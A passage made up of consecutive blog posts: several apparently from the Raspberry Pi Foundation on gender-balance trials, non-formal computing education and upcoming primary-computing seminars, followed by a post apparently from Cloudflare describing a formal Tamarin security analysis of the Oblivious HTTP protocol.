Quantitatively, none of the RCTs showed a statistically significant impact on the primary outcome measured, which was different in different trials but related to either learners’ attitudes to computer science or their intention to study computer science. Most of the RCTs showed a positive impact that fell just short of statistical significance. The evaluators went to great lengths to control for pandemic-related attrition, and the implementation teams worked hard to support teachers in still delivering the interventions as designed, but attrition and disruptions due to the pandemic may have played a part in the results.
The qualitative research results were more encouraging. Teachers were enthusiastic about the approaches we had chosen in order to address known barriers to gender balance, and the qualitative data indicated that pupils reacted positively to the interventions. One key theme across the Teaching Approach (and other) studies was that girls valued collaboration and teamwork. The data also offered insights that enable us to improve on the interventions.
We designed the studies so they could act as pilots that may be rolled out at a national scale. While we have gained sufficient understanding of what works to be able to run the interventions at a larger scale, two particular learnings shape our view of what a large-scale study should look like:
1. A single intervention may not be enough to have an impact
The GBIC results highlight that there is no quick fix and suggest that we should combine some of the approaches we’ve been trialling to provide a more holistic approach to teaching Computing in an equitable way. We would recommend that schools adopt several of the approaches we’ve tested; the materials associated with each intervention are freely available (see our blog posts for links).
2. Age matters
One of the very interesting overall findings from this research programme was the difference in intent to study Computing between primary school and secondary school learners; fewer secondary school learners reported intent to study the subject further. This difference was observed for both girls and boys, but was more marked for girls, as shown in the graph below. This suggests that we need to double down on supporting children, especially girls, to maintain their interest in Computing as they enter secondary school at age 11. It also points to a need for more longitudinal research to understand more about the transition period from primary to secondary school and how it impacts children’s engagement with computer science and technology in general.
Compared to primary school age girls, girls aged 12 to 13 show dramatically reduced intent to continue studying computing.
What’s next?
We think that more time (in excess of 12 weeks) is needed to both deliver the interventions and measure their outcome, as the change in learners’ attitudes may be slow to appear, and we’re hoping to engage in more longitudinal research moving forward.
In the final seminar in our series on cross-disciplinary computing, Dr Tracy Gardner and Rebecca Franks, who work here at the Foundation, described the framework underpinning the Foundation’s non-formal learning pathways. They also shared insights from our recently published literature review about the impact that non-formal computing education has on learners.
Dr Tracy GardnerRebecca Franks
Tracy and Rebecca both have extensive experience in teaching computing, and they are passionate about inspiring young learners and broadening access to computing education. In their work here, they create resources and content for learners in coding clubs and young people at home.
How non-formal learning creates opportunities for computing education
UNESCO defines non-formal learning as “institutionalised, intentional, and planned… an addition, alternative, and/or complement to formal education within the process of life-long learning of individuals”. In terms of computing education, this kind of learning happens in after-school programmes or children’s homes as they engage with materials that have been carefully designed by education providers.
At the Raspberry Pi Foundation, we support two global networks of free, volunteer-led coding clubs where regular non-formal learning takes place: Code Club, teacher- and volunteer-led coding clubs for 9- to 13-year-olds taking place in schools in more than160 countries; and CoderDojo, volunteer-led programming clubs for young people aged 7–17 taking place in community venues and offices in 100 countries. Through free learning resources and other support, we enable volunteers to run their club sessions, offering versatile opportunities and creative, inclusive spaces for young people to learn about computing outside of the school curriculum. Volunteers who run Code Clubs or CoderDojos report that participating in the club sessions positively impacts participants’ programming skills and confidence.
Rebecca and Tracy are part of the team here that writes the learning resources young people in Code Clubs and CoderDojos (and beyond) use to learn to code and create technology.
Helping learners make things that matter to them
Rebecca started the seminar by describing how the team reviewed existing computing pedagogy research into non-formal learning, as well as large amounts of website visitor data and feedback from volunteers, to establish a new framework for designing and creating coding resources in the form of learning paths.
What the Raspberry Pi Foundation takes into account when creating non-formal learning resources. Click to enlarge.
As Rebecca explained, non-formal learning paths should be designed to bridge the so-called ‘Turing tar-pit’: the gap between what learners want to do, and what they have the knowledge and resources to achieve.
To prevent learners from getting frustrated and ultimately losing interest in computing, learning paths need to:
Be beginner-friendly
Include scaffolding
Support learner’s design skills
Relate to things that matter to learners
When Rebecca and Tracy’s team create new learning paths, they first focus on the things that learners want to make. Then they work backwards to bridge the gap between learners’ big ideas and the knowledge and skills needed to create them. To do this, they use the 3…2…1…Make! framework they’ve developed.
An illustration of the 3…2…1…Make! structure of the new Raspberry Pi Foundation non-formal learning paths.
Learning paths designed according to the framework are made up of three different types of project in a 3-2-1 structure:
Three Explore projects to introduce creators to a set of skills and provide step-by-step instructions to help them develop initial confidence
Two Design projects to allow creators to practise the skills they learned in the previous Explore projects, and to express themselves creatively while they grow in independence
One Invent project where creators use their skills to meet a project brief for a particular audience
Rebecca and Tracy’s team have created several new learning pathways based on the 3…2…1…Make! framework and received much positive feedback on them. They are now looking to develop more tools and libraries to support learners, to increase the accessibility of the paths, and also to conduct research into the impact of the framework.
New literature review of non-formal computing education showcases its positive impact
In the second half of the seminar, Tracy shared what the research literature says about the impact of non-formal learning. She and researchers at the Foundation particularly wanted to find out what the research says about computing education for K–12 in non-formal settings. They systematically reviewed 421 papers, identifying 88 papers from the last seven years that related to empirical research on non-formal computing education for young learners. Based on these 88 papers, they summarised the state of the field in a literature review.
So far, most studies of non-formal computing education have looked at knowledge and skill development in computing, as well as affective factors such as interest and perception. The cognitive impact of non-formal education has been generally positive. The papers Tracy and the research reviewed suggested that regular learning opportunities, such as weekly Code Clubs, were beneficial for learners’ knowledge development, and that active teaching of problem solving skills can lead to learners’ independence.
Non-formal computing education also seems to be beneficial in terms of affective factors (although it is unclear yet whether the benefits remain long-term, since most existing research studies conducted have been short-term ones). For example, out-of-school programmes can lead to more positive perception and increased awareness of computing for learners, and also boost learners’ confidence and self-efficacy if they have had little prior experience of computing. The social aspects of participating in coding clubs should not be underestimated, as learners can develop a sense of belonging and support as they work with their peers and mentors.
The literature review showed that non-formal computing complements formal in-school education in many ways. Not only can Code Clubs and CoderDojos be accessible and equitable spaces for all young people, because the people who run them can tailor learning to the individuals. Coding clubs such as these succeed in making computing fun and engaging by enabling a community to form and allowing learners to make things that are meaningful to them.
What existing studies in non-formal computing aren’t telling us
Another thing the literature review made obvious is that there are big gaps in the existing understanding of non-formal computing education that need to be researched in more detail. For example, most of the studies the papers in the literature review described took place with female students in middle schools in the US.
That means the existing research tells us little about non-formal learning:
In other geographic locations
In other educational settings, such as primary schools or after-school programmes
For a wider spectrum of learners
We would also love to see studies that hone in on:
The long-term impact of non-formal learning
Which specific factors contribute to positive outcomes
Non-formal learning about aspects of computing beyond programming
3…2…1…research!
We’re excited to continue collaborating within the Foundation so that our researchers and our team creating non-formal learning content can investigate the impact of the 3…2…1…Make! framework.
The aim of the 3…2…1…Make! framework is to enable young people to create things and solve problems that matter to them using technology.
This collaboration connects two of our long-term strategic goals: to engage millions of young people in learning about computing and how to create with digital technologies outside of school, and to deepen our understanding of how young people learn about computing and how to create with digital technologies, and to use that knowledge to increase the impact of our work and advance the field of computing education. Based on our research, we will iterate and improve the framework, in order to enable even more young people to realise their full potential through the power of computing and digital technologies.
Join our seminar series on primary computing education
From January, you can join our new monthly seminar series on primary (K–5) teaching and learning. In this series, we’ll hear insights into how our youngest learners develop their computing knowledge, so whether you’re a volunteer in a coding club, a teacher, a researcher, or simply interested in the topic, we’d love to see you at one of these monthly online sessions.
The first seminar, on Tuesday 10 January at 5pm UK time, will feature researchers and educators Dr Katie Rich and Carla Strickland. They will share findings on how to teach children about variables, one of the most difficult aspects of computing for young learners. Sign up now, and we will send you notifications and joining links for each seminar session.
Today we are sharing an evaluation report on another study that’s part of our Gender Balance in Computing research programme. In this study, we investigated the impact of using relevant contexts in classroom programming activities for 12- to 13-year-olds on girls’ and boys’ attitudes towards Computing.
We have been working on Gender Balance in Computing since 2018, together with partner organisations Behavioural Insights Team, Apps for Good, and WISE, to conduct research studies exploring ways to encourage more girls and young women to engage with Computing in school. The research programme has been funded by the Department for Education, and we deliver it as part of the National Centre for Computing Education. The report we share today is about the penultimate study in the programme.
Components of a Computing curriculum
A typical Computing curriculum is built around content: a list of concepts, knowledge, and skills that will be covered during the course. For some learners, that list will be enough to motivate and engage them in Computing. But other learners require more to engage with the subject, such as context about how they can use the computing skills they learn in the real world. Crucially, this difference between learners is often gendered. Research has shown that many boys become absorbed by the content in Computing courses, whereas for many girls the context for using computing skills is more important, and this context needs to relate to a variety of relevant scenarios where computing can solve problems.
Developing teaching materials to highlight the relevance of Computing
In the Relevance study, we worked together with colleagues from Apps for Good to create teaching materials that present Computing in contexts that were relevant to pupils’ own interests. To do this, we drew on a research concept called identification. This states that when learners become interested in a topic because it relates to part of their own identity, that makes the subject more personally meaningful to them, which in turn means that they are more likely to continue studying it. In the materials we created, we drew on learners’ identities based on the communities that they belonged to (see image below). The materials asked them to identify the connections they had to their own communities, and to then use this as the context to design and create a mobile phone app.
The intervention materials asked learners to think about the communities they belong to.
“I feel a sense of achievement in Computing when making your ideas a reality makes you proud of your creation, which is rewarding.” (Female learner, Relevance study evaluation report p. 57)
The Relevance research study
Between January 2022 and April 2022, more than 95 secondary schools were part of our study investigating the effect that learning with these resources might have on the attitudes of Year 8 pupils (aged 12–13) towards Computing. We are very grateful to all the schools, pupils, and teachers who took part in this study.
To enable evaluation of the study as a randomised controlled trial, the schools were randomly divided into two groups: a ‘control’ group that taught standard Computing lessons, and a ‘treatment’ group that delivered the intervention materials we had developed. The impact of the intervention was independently evaluated by the Behavioural Insights Team using data collected from pupils via surveys at the start and end of the intervention. The evaluators also collected data while conducting lesson observations, pupil group discussions, teacher interviews, and teacher surveys to understand how the intervention was delivered.
The girls who took part in the intervention chose an interesting range of contexts for their apps, including:
Solving problems in the school community, such as homework timetabling and public transport
Interest-based communities, such as melody-making and interior design
Issues in wider communities, such as sea life population and mental health
“I feel like it’s an important subject, and I feel like sea life is at risk right now, and I want to help people realise that.” (Female learner, Relevance study evaluation report p. 60)
“I feel like computing can create apps to do with solving mental health problems, which I think are very important and personally need a lot of improvement on the way we can cope with mental health.” (Female learner, Relevance study evaluation report p. 60)
What we learned from the Relevance study
The start of this blog refers to the core components of a Computing curriculum: concepts, knowledge, and skills. One way of building a curriculum is to list these components and develop a scheme of work which covers them all. However, in a recent computing education paper, researchers present an alternative way: developing curricula around the possible endpoints of learners. For computing, one endpoint could be the economic opportunities of a programming career, but equally, another could be using digital technologies for creative expression. The researchers argue that when learners have the opportunity to use computing as a tool related to personally meaningful contexts, a more diverse group of learners can become engaged in the subject.
Girls who took part in our Relevance study expressed the importance of creativity. “I think last term we had instructions and you follow them, whereas now it’s like your own ideas and your own creativity and whatever you make,” said one female learner (report, p. 56). The series of lessons where learners designed a prototype of their app was particularly popular among girls because this activity included creative expression. Girls who see themselves as creative align their interests with subjects that allow them to express this part of their identity.
With the intervention materials, learners developed a paper prototype of their app before going on to create code for it.
Based on learner responses to a ‘yes/no’ question about whether they were likely to choose GCSE Computer Science, the evaluators of the study found no statistically significant differences between the students who were part of the treatment and control groups. However, when learners were asked instead to select from a list which subjects they were likely to choose at GCSE, there was a statistically significant difference in the results: girls from schools in the treatment group were more likely to choose GCSE Computer Science as one of their options than girls in the control group. This finding suggests that it would be beneficial to gender balance in Computing if educators who design Computing curricula consider multiple endpoints for learners and include personally meaningful contexts to create learning experiences that are relevant to diverse groups of learners.
Find out more about making computing relevant for your learners
This is the penultimate report to be published about the studies that are part of the Gender Balance in Computing programme. If you would like to stay up-to-date with the programme, you can sign up to our newsletter. Our final report is about a study that explored the role that options booklets and evenings play in students’ subject choice.
We are excited to announce our next free online seminars, running monthly from January 2023 and focusing on primary school (K–5) teaching and learning of computing.
Our seminars, having covered various topics in computing education over the last three years, will now offer you a close look at current questions and research in primary computing education. Through this series we want to connect research and teaching practice, and further primary computing education across the globe.
Are these seminars for me?
Our upcoming seminars are for everyone interested in computing education, not just for primary school teachers — you are all cordially invited to join us. Previous seminars have been attended by a valuable mix of teachers, volunteers, tech industry professionals, and researchers, all keen to explore how computing education research can be put into practice.
Whether you teach in a classroom, or support learners in a coding club, you will find out how our youngest learners develop their computing knowledge. You’ll also explore with us what this means for your learning context in practical terms.
What you can expect from the online seminars
Each seminar starts with a presenter explaining, in easy-to-understand terms, some recent research they have done. The presentation is followed by a discussion in smaller groups. We then regroup for a Q&A session with the presenter.
Attendees of our previous seminars have said:
“The seminar will be useful in my practice when our coding club starts.”
“I love this initiative, your choice of speakers has been fantastic. You are creating a very valuable CPD resource for Computer Science teachers and educators all over the world. Thank you. 🙏”
“Just wanted to say a huge thank you for organising this. It was brilliant to hear the presentation but also the input from other educators in the breakout room. I currently teach in a department of one, which can be quite lonely, so to join other educators was brilliant and a real encouragement.”
Learn from specialists to benefit your own learners
Computer science has been taught in universities for many years, and only more recently has the subject been introduced in schools. That means there isn’t a lot of research about computing education for school-aged learners yet, and even less research about how young children of primary school age learn about computing.
That’s why we are excited to invite you to learn with us as we hear from international primary computing research teams who share their knowledge in our online seminars:
Tuesday 10 January 2023: Kicking off our series are Dr Katie Rich and Carla Strickland from Chicago with a seminar on how they developed new instructional materials for teaching variables in primary school. They will specifically focus on how they combined research with classroom realities, and share experiences of using their new materials in class.
Tuesday 7 February 2023: Dr Jean Salac from the University of Washington is particularly interested in identifying and addressing inequities in the computing classroom, and will speak about a new learning strategy that has been found to improve students’ understanding of computing concepts and to increase equal access to computing.
Tuesday 7 March 2023: Our own Dr Bobby Whyte from the Raspberry Pi Foundation will share practical examples of how primary computing can be integrated into literacy education. He will specifically look at storytelling elements within computing education and discuss the benefits of combining competency areas.
May 2023: Information coming soon
Tuesday 6 June 2023: In a collaborative seminar, Aim Unahalekhaka from Tufts University in Massachusetts will first present her research into how children learn coding through ScratchJr. Participants are encouraged to bring a tablet or device with ScratchJr to then look at practical project evaluations and teaching strategies that can help young learners create purposefully.
Tuesday 12 September 2023: Joining us from the University of Passau in Germany, Luisa Greifenstein will speak about how to give children appropriate feedback that encourages positive attitudes towards computing education. In particular, she will be looking at the effects of different feedback strategies and present a new Scratch tool that offers automated feedback.
October 2023: Information coming soon
Tuesday 7 November 2023: We are delighted to be joined by Dr Aman Yadav from Michigan State University who will focus on computational thinking and its value for primary schooling. In his seminar, he will not only discuss the unique opportunities for computational thinking in primary school but also discuss findings from a recent project that focused on teachers’ perspectives.
Sign up now to attend the seminars
All our seminars start at 17:00 UK time (18:00 CET / 12:00 noon ET / 9:00 PT) and take place in an online format. Sign up now to receive a calendar invitation and the link to join on the day of each seminar.
To find out what works in non-formal computing learning, we’ve conducted two research projects recently: a systematic literature review, and a set of two interventions that were applied and evaluated as part of our Gender Balance in Computing programme. In this blog, we outline these two research projects.
What is non-formal learning?
When you think of young people learning computing, do you think of schools, classrooms, and curricula? You’d be right that lots of computing education for young people takes place in classrooms as part of national curricula. However, a lot of learning can take place outside of formal schooling. When we talk about non-formal computing education, we mean structured or semi-structured learning environments such as clubs or community groups, often set up by volunteers. These may take place in a school, library, or community venue; but we’ve also heard of some of our communities running non-formal learning activities on buses, in fire stations, or at football grounds — there really is no limit to where learning can happen.
CoderDojos are community-based coding clubs and some take place in offices.
It’s harder to assess the impact and effectiveness of non-formal computing activities than formal computing education: we have to think outside of the traditional measures such as grades and formal exams or assessments. Instead, we estimate outcomes according to measures such as level of participant engagement, attendance, attrition rates, and changes in participants’ attitudes towards computing. We have previously also piloted non-formal assessments such as quizzes and found that these were well-received by adult facilitators and children alike.
Project 1: Researching the impact of non-formal computing education
Earlier this year, we conducted a systematic literature review into computing education for K–12 learners in non-formal settings. We identified 88 relevant research studies, which we read, compared, and synthesised to provide an overview of what is already known about the effectiveness of non-formal computing activities and to identify opportunities for further research.
Our analysis looked for common themes within existing studies and suggested some benefits that non-formal learning offers, including:
Access to advanced and innovative topics
Awareness about computing careers
The chance to personalise projects according to learner interests
The opportunity for learners to progress at their own pace
The chance for learners to develop a sense of community through peers and role models
We presented this research at an international computing education conference called ICER 2022, and you can read about it in our open-access paper in the ICER conference proceedings.
Project 2: Making links between non-formal learning and formal computing study skills
One particularly interesting characteristic of non-formal learning is that it tends to attract a broader range of learners than formal computing lessons. For example, a 2019 survey found that about 40% of the young people who attend Code Clubs were female. This is a high percentage compared with the proportion of girls among the learners choosing Computer Science GCSE in England, which is currently around 20%. We believe this points to an opportunity to capitalise on girls’ interest in learning activities outside of the classroom, and we hope to use non-formal activities to encourage more girls to take an interest in formal computer science education.
Code Clubs are well-attended by girls.
As part of our Gender Balance in Computing research programme in England, we worked with Apps for Good and the Behavioual Insights Team (BIT) to run two interventions in school-based non-formal settings, for which we adapted non-formal resources and used behavioural science concepts to strengthen the links the resources make between non-formal learning and studying computing more formally. One intervention ran in secondary schools for learners aged 13–14 years old, who used an adapted Apps for Good course, and the other ran in primary school for learners aged 8–11 year olds, who took part in Code Clubs using adapted versions of our projects.
The interventions were evaluated independently by a separate team from BIT, based on data from surveys completed by learners before and after the interventions, and interviews with teachers and learners. This data was analysed by the independent team to explore the impact the interventions had on learners’ attitudes towards computing and intention to study the subject in the future.
What did we learn from these research projects?
Our literature review concluded that future research in this area would benefit from experimenting with a variety of approaches to designing, and measuring the impact of, computing activities in a non-formal setting. For example, this could include comparing the short-term and long-term impact of specific interventions, aiming to cater for different types of participants, and offering different types of learning experiences.
In these two Gender Balance in Computing interventions, there was limited statistical evidence of an improvement in participants’ attitude towards computing or in their stated intention to study computer programming in the future. The independent evaluators recommended that the learning content that was created for the interventions could be adapted further to make the link between non-formal and formal learning even more salient. On the other hand, as is often the case with research, some interesting themes — ones that we weren’t looking for — emerged from the data, including:
In the secondary school intervention, there was a small, positive change in girls’ attitudes toward computing when they saw that it was relevant to real-world problems
In the primary school intervention, some teachers also reported an increased confidence to pursue computing among girls who had used the adapted Code Club resources, and they highlighted the importance of positive female role models in computing
In both projects, the findings suggest that it is beneficial for learners to participate in non-formal learning activities that link to real-world situations, and that this could be particularly beneficial for girls to help them see computing as a subject that is relevant to their own interests and goals. Another common theme in both projects is that non-formal learning activities play an important role in showing what a “computer person” looks like and who belongs in computing. This suggests there’s a need for a diverse range of volunteers to run non-formal computing activities, and that we should make sure that non-formal learning resources include representations of a diverse range of learners.
Undertaking these research projects has provided evidence that the work the Foundation does is on the right track and suggested opportunities to use these themes in our future non-formal work and resources.
Find out more about our work on non-formal computing education
More information about research projects at the Raspberry Pi Foundation and our newly launched Raspberry Pi Computing Education Research Centre can be found on our research pages and on the Research Centre’s website.
We recently announced Privacy Gateway, a fully managed, scalable, and performant Oblivious HTTP (OHTTP) relay. Conceptually, OHTTP is a simple protocol: end-to-end encrypted requests and responses are forwarded between client and server through a relay, decoupling who from what was sent. This is a common pattern, as evidenced by deployed technologies like Oblivious DoH and Apple Private Relay. Nevertheless, OHTTP is still new, and as a new protocol it’s imperative that we analyze the protocol carefully.
To that end, we conducted a formal, computer-aided security analysis to complement the ongoing standardization process and deployment of this protocol. In this post, we describe this analysis in more depth, digging deeper into the cryptographic details of the protocol and the model we developed to analyze it. If you’re already familiar with the OHTTP protocol, feel free to skip ahead to the analysis to dive right in. Otherwise, let’s first review what OHTTP sets out to achieve and how the protocol is designed to meet those goals.
Decoupling who from what was sent
OHTTP is a protocol that combines public key encryption with a proxy to separate the contents of an HTTP request (and response) from the sender of an HTTP request. In OHTTP, clients generate encrypted requests and send them to a relay, the relay forwards them to a gateway server, and then finally the gateway decrypts the message to handle the request. The relay only ever sees ciphertext and the client and gateway identities, and the gateway only ever sees the relay identity and plaintext.
In this way, OHTTP is a lightweight application-layer proxy protocol. This means that it proxies application messages rather than network-layer connections. This distinction is important, so let’s make sure we understand the differences. Proxying connections involves a whole other suite of protocols typically built on HTTP CONNECT. (Technologies like VPNs and WireGuard, including Cloudflare WARP, can also be used, but let’s focus on HTTP CONNECT for comparison.)
Connection-oriented proxy depiction
Since the entire TCP connection itself is proxied, connection-oriented proxies are compatible with any application that uses TCP. In effect, they are general purpose proxy protocols that support any type of application traffic. In contrast, proxying application messages is compatible with application use cases that require transferring entire objects (messages) between a client and server.
Message-oriented proxy depiction
Examples include DNS requests and responses, or, in the case of OHTTP, HTTP requests and responses. In other words, OHTTP is not a general purpose proxy protocol: it’s fit for purpose, aimed at transactional interactions between clients and servers (such as app-level APIs). As a result, it is much simpler in comparison.
Applications use OHTTP to ensure that requests are not linked to either of the following:
Client identifying information, including the IP address, TLS fingerprint, and so on. As a proxy protocol, this is a fundamental requirement.
Future requests from the same client. This is necessary for applications that do not carry state across requests.
These two properties make OHTTP a perfect fit for applications that wish to provide privacy to their users without compromising basic functionality. It’s served as the foundation for a widespread deployment of Oblivious DoH for over a year now, and as of recently, serves as the foundation for Flo Health’s Anonymous Mode feature.
It’s worth noting that both of these properties could be achieved with a connection-oriented protocol, but at the cost of a new end-to-end TLS connection for each message that clients wish to transmit. This can be prohibitively expensive for all entities that participate in the protocol.
So how exactly does OHTTP achieve these goals? Let’s dig deeper into OHTTP to find out.
Oblivious HTTP protocol design
A single transaction in OHTTP involves the following steps:
A client encapsulates an HTTP request using the public key of the gateway server, and sends it to the relay over a client<>relay HTTPS connection.
The relay forwards the request to the server over its own relay<>gateway HTTPS connection.
The gateway decapsulates the request, forwarding it to the target server which can produce the resource.
The gateway returns an encapsulated response to the relay, which then forwards the result to the client.
Observe that in this transaction the relay only ever sees the client and gateway identities (the client IP address and the gateway URL, respectively), but does not see any application data. Conversely, the gateway sees the application data and the relay IP address, but does not see the client IP address. Neither party has the full picture, and unless the relay and gateway collude, it stays that way.
The HTTP details for forwarding requests and responses in the transaction above are not technically interesting – a message is sent from sender to receiver over HTTPS using a POST – so we’ll skip over them. The fascinating bits are in the request and response encapsulation, which build upon HPKE, a recently ratified standard for hybrid public key encryption.
Let’s begin with request encapsulation, which is hybrid public key encryption. Clients first transform their HTTP request into a binary format, called Binary HTTP, as specified by RFC9292. Binary HTTP is, as the name suggests, a binary format for encoding HTTP messages. This representation lets clients encode HTTP requests to binary-encoded values and for the gateway to reverse this process, recovering an HTTP request from a binary-encoded value. Binary encoding is necessary because the public key encryption layer expects binary-encoded inputs.
Once the HTTP request is encoded in binary format, it is then fed into HPKE to produce an encrypted message, which clients then send to the relay to be forwarded to the gateway. The gateway decrypts this message, transforms the binary-encoded request back to its equivalent HTTP request, and then forwards it to the target server for processing.
Responses from the gateway are encapsulated back to the client in a very similar fashion. The gateway first encodes the response in an equivalent binary HTTP message, encrypts it using a symmetric key known only to the client and gateway, and then returns it to the relay to be forwarded to the client. The client decrypts and transforms this message to recover the result.
Simplified model and security goals
In our formal analysis, we set out to make sure that OHTTP’s use of encryption and proxying achieves the desired privacy goals described above.
To motivate the analysis, consider the following simplified model where there exists two clients C1 and C2, one relay R, and one gateway, G. OHTTP assumes an attacker that can observe all network activity and can adaptively compromise either R or G, but not C1 or C2. OHTTP assumes that R and G do not collude, and so we assume only one of R and G is compromised. Once compromised, the attacker has access to all session information and private key material for the compromised party. The attacker is prohibited from sending client-identifying information, such as IP addresses, to the gateway. (This would allow the attacker to trivially link a query to the corresponding client.)
In this model, both C1 and C2 send OHTTP requests Q1 and Q2, respectively, through R to G, and G provides answers A1 and A2. The attacker aims to link C1 to (Q1, A1) and C2 to (Q2, A2), respectively. The attacker succeeds if this linkability is possible without any additional interaction. OHTTP prevents such linkability. Informally, this means:
Requests and responses are known only to clients and gateways in possession of the corresponding response key and HPKE keying material.
The gateway cannot distinguish between two identical requests generated from the same client, and two identical requests generated from different clients, in the absence of unique per-client keys.
And informally it might seem clear that OHTTP achieves these properties. But we want to prove this formally, which means that the design, if implemented perfectly, would have these properties. This type of formal analysis is distinct from formal verification, where you take a protocol design and prove that some code implements it correctly. Whilst both are useful they are different processes, and in this blog post we’ll be talking about the former.But first, let’s give some background on formal analysis.
Formal analysis programming model
In our setting, a formal analysis involves producing an algebraic description of the protocol and then using math to prove that the algebraic description has the properties we want. The end result is proof that shows that our idealized algebraic version of the protocol is “secure”, i.e. has the desired properties, with respect to an attacker we want to defend against. In our case, we chose to model our idealized algebraic version of OHTTP using a tool called Tamarin, a security-focused theorem prover and model checker. Tamarin is an intimidating tool to use, but makes intuitive sense once you get familiar with it. We’ll break down the various parts of a Tamarin model in the context of our OHTTP model below.
Modeling the Protocol Behavior
Tamarin uses a technique known as multiset rewriting to describe protocols. A protocol description is formed of a series of “rules” that can “fire” when certain requirements are met. Each rule represents a discrete step in the protocol, and when a rule fires that means the step was taken. For example, we have a rule representing the gateway generating its long-term public encapsulation key, and for different parties in the protocol establishing secure TLS connections. These rules can be triggered pretty much any time as they have no requirements.
Basic rule for OHTTP gateway key generation
Tamarin represents these requirements as “facts”. A rule can be triggered when the right facts are available. Tamarin stores all the available facts in a “bag” or multiset. A multiset is similar to an ordinary set, in that it stores a collection of objects in an unordered fashion, but unlike an ordinary set, duplicate objects are allowed. This is the “multiset” part of “multiset rewriting”.
The rewriting part refers to the output of our rules. When a rule triggers it takes some available facts out of the bag and, when finished, inserts some new facts into the bag. These new facts might fulfill the requirements of some other rule, which can then be triggered, producing even more new facts, and so on1. In this way we can represent progress through the protocol. Using input and output facts, we can describe our rule for generating long-term public encapsulation keys, which has no requirements and produces a long-term key as output, as follows.
A rule requirement is satisfied if there exist output facts that match the rule’s input facts. As an example, in OHTTP, one requirement for the client rule for generating a request is that the long-term public encapsulation key exists. This matching is shown below.
Let’s put some of these pieces together to show a very small but concrete part of OHTTP as an example: the client generating its encapsulated request and sending it to the relay. This step should produce a message for the relay, as well as any corresponding state needed to process the eventual response from the relay. As a precondition, the client requires (1) the gateway public key and (2) a TLS connection to the relay. And as mentioned earlier, generating the public key and TLS connection do not require any inputs, so they can be done at any time.
Modeling events in time
Beyond consuming and producing new facts, each Tamarin rule can also create side effects, called “action facts.” Tamarin records the action facts each time a rule is triggered. An action fact might be something like “a client message containing the contents m was sent at time t.” Sometimes rules can only be triggered in a strict sequence, and we can therefore put their action facts in a fixed time order. At other times multiple rules might have their prerequisites met at the same time, and therefore we can’t put their action facts into a strict time sequence. We can represent this pattern of partially ordered implications as a directed acyclic graph, or DAG for short.
Altogether, multiset rewriting rules describe the steps of a protocol, and the resulting DAG records the actions associated with the protocol description. We refer to the DAG of actions as the action graph. If we’ve done our job well it’s possible to follow these rules and produce every possible combination of messages or actions allowed by the protocol, and their corresponding action graph.
As an example of the action graph, let’s consider what happens when the client successfully finishes the protocol. When the requirements for this rule are satisfied, the rule triggers, marking that the client is done and that the response was valid. Since the protocol is done at this point, there are no output facts produced.
Action graph for terminal client response handler rule
Modeling the attacker
The action graph is core to reasoning about the protocol’s security properties. We can check a graph for various properties, e.g. “does the first action taken by the relay happen after the first action taken by the client?”. Our rules allow for multiple runs of the protocol to happen at the same time. This is very powerful. We can look at a graph and ask “did something bad happen here that might break the protocol’s security properties?”
In particular, we can prove (security and correctness) properties by querying this graph, or by asserting various properties about it. For example, we might say “for all runs of the protocol, if the client finishes the protocol and can decrypt the response from the gateway, then the response must have been generated and encrypted by an entity which has the corresponding shared secret.”
This is a useful statement, but it doesn’t say much about security. What happens if the gateway private key is compromised, for example? In order to prove security properties, we need to define our threat model, which includes the adversary and their capabilities. In Tamarin, we encode the threat model as part of the protocol model. For example, when we define messages being passed from the client to the relay, we can add a special rule that allows the attacker to read it as it goes past. This gives us the ability to describe properties such as “for all runs of the protocol in our language the attacker never learns the secret key.”
For security protocols, we typically give the attacker the ability to read, modify, drop, and replay any message. This is sometimes described as “the attacker controls the network”, or a Dolev-Yao attacker. However, the attacker can also sometimes compromise different entities in a protocol, learning state associated with that entity. This is sometimes called an extended Dolev-Yao attacker, and it is precisely the attacker we consider in our model.
Going back to our model, we give the attacker the ability to compromise long-term key pairs and TLS sessions as needed through different rules. These set various action facts that mark the fact that compromise took place.
Action graph for key compromise rule
Putting everything together, we have a way to model the protocol behavior, attacker capabilities, and security properties. Let’s now dive into how we applied these to prove OHTTP secure.
OHTTP Tamarin model
In our model, we give the attacker the ability to compromise the server’s long-term keys and the key between the client and the relay. Against this attacker, we aim to prove these two informal statements stated above:
Requests and responses are known only to clients and gateways in possession of the corresponding response key and HPKE keying material.
The gateway cannot distinguish between two requests generated from the same client, and two requests generated from different clients, in the absence of unique per-client keys.
To prove these formally, we express them somewhat differently. First, we assert that the protocol actually completes. This is an important step, because if your model has a bug in it where the protocol can’t even run as intended, then Tamarin is likely to say it’s “secure” because nothing bad ever happens.
For the core security properties, we translate the desired goals into questions we ask about the model. In this way, formal analysis only provides us proof (or disproof!) of the questions we ask, not the questions we should have asked, and so this translation relies on experience and expertise. We break down this translation for each of the questions we want to ask below, starting with gateway authentication.
Gateway authenticationUnless the attacker has compromised the gateway’s long term keys, if the client completes the protocol and is able to decrypt the gateway’s response, then it knows that: the responder was the gateway it intended to use, the gateway derived the same keys, the gateway saw the request the client sent, and the response the client received is the one the gateway sent.
This tells us that the protocol actually worked, and that the messages sent and received were as they were supposed to be. One aspect of authentication can be that the participants agree on some data, so although this protocol seems to be a bit of a grab bag of properties they’re all part of one authentication property.
Next, we need to prove that the request and response remain secret. There are several ways in which secrecy may be violated, e.g., if encryption or decryption keys are compromised. We do so by proving the following properties.
Request and response secrecy The request and response are both secret, i.e., the attacker never learns them, unless the attacker has compromised the gateway’s long term keys.
In a sense, request and response secrecy covers the case where the gateway is malicious, because if the gateway is malicious then the “attacker” knows the gateway’s long term keys.
Relay connection security The contents of the connection between the client and relay are secret unless the attacker has compromised the relay.
We don’t have to worry about the secrecy of the connection if the client is compromised because in that scenario the attacker knows the query before it’s even been sent, and can learn the response by making an honest query itself. If your client is compromised then it’s game over.
AEAD nonce reuse resistance If the gateway sends a message to the client, and the attacker finds a different message encrypted with the same key and nonce, then either the attacker has already compromised the gateway, or they already knew the query.
In translation, this property means that the response encryption is correct and not vulnerable to attack, such as through AEAD nonce reuse. This would obviously be a disaster for OHTTP, so we were careful to check that this situation never arises, especially as we’d already detected this issue in ODoH.
Finally, and perhaps most importantly, we want to prove that an attacker can’t link a particular query to a client. We prove a slightly different property which effectively argues that, unless the relay and gateway collude, then the attacker cannot link the encrypted query to its decrypted query together. In particular, we prove the following:
Client unlinkability If an attacker knows the query and the contents of the connection sent to the relay (i.e. the encrypted query), then it must have compromised both the gateway and the relay.
